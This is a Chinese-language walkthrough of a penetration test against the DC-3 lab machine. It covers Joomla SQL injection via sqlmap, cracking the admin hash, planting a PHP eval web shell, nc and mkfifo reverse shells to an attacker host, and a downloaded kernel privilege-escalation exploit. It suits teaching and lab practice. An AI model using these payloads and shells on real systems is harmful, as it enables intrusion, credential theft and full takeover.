DC-3靶机渗透测试

DC-3靶机渗透测试

先对内网进行探活扫描

nmap -sn 192.168.207.0/24

dc-3的ip是192.168.207.131,进行端口扫描

nmap -sV -p- 192.168.207.131

开放了http服务,上浏览器访问http://192.168.207.131查看一下网站内容

有一个登录框,没有验证码,可以尝试弱口令,使用的是Joomla框架

进行目录扫描

dirsearch -u http://192.168.207.131

扫到一个管理员登录页面

我们对框架进行版本扫描

joomscan是针对joomla的扫描器

joomscan --url http://192.168.207.131

Joomla 3.7.0

searchsploit Joomla 3.7.0

存在sql注入

searchsploit -m 42033.txt
cat 42033.txt

这里让我们用sqlmap并给出相应语句

sqlmap -u "http://192.168.207.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

查joomladb中的表

sqlmap -u "http://192.168.207.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D joomladb --tables

查#__users表里的字段

sqlmap -u "http://192.168.207.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D joomladb -T "#__users" --columns

这里的#__users要用双引号框起来,不然会报错

第一个填y,第二个填y,第三个随便填,第四个填10

获取字段username和password

sqlmap -u "http://192.168.207.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 -p list[fullordering] -D joomladb -T "#__users" -C username,password –dump

得到admin和密码哈希

将哈希存入txt中让john去跑一下

echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' >666.txt
john 666.txt

得到密码snoopy,登录网页后台

选择Extensions>Templates>Templates

选择Beez3 Details and Files

选择new file

点击左边的html,选择php创建文件

上传一句话木马

<?php @eval($_POST['Z']);?>

上传保存

访问上传的路径http://192.168.207.131/templates/beez3/html/

使用蚁剑远程连接终端

接下来反弹shell到kali里

在kali里输入

nc -lvvp 6666

开启监听

在蚁剑里输入

nc 192.168.207.128 6666 -e /bin/bash

页面显示-e不可用

那么使用

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.207.128 6666 >/tmp/f

是利用 nc + FIFO 管道实现的反弹Shell写法,常用于没有 nc -e 参数时

rm /tmp/f:删除 /tmp/f,因为后面要创建一个新的 FIFO 文件(把旧的数据删掉)

mkfifo /tmp/f:创建命名管道

cat /tmp/f:不断读取 /tmp/f 里面的数据

| /bin/sh:交给 shell 执行

-i:交互模式,让 shell 像正常终端一样工作

2>&1:把错误输出也发送出去

python -c 'import pty;pty.spawn("/bin/bash")'

查看系统版本

cat /etc/os-release

是Ubuntu 16.04

searchsploit Ubuntu 16.04

选择Linux Kernel 4.4.x (Ubuntu 16.04) - 'double-fdput()' b | linux/local/39772.txt

searchsploit -m linux/local/39772.txt
cat 39772.txt

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

开启http服务上传39772.zip

python3 -m http.server 80

到dc-3的终端上

​wget http://192.168.207.128/39772.zip

unzip 39772.zip
cd 39772

tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit

./compile.sh
./doubleput

whoami

成功获得root权限

cd ~
ls
cat the-flag.txt

渗透测试成功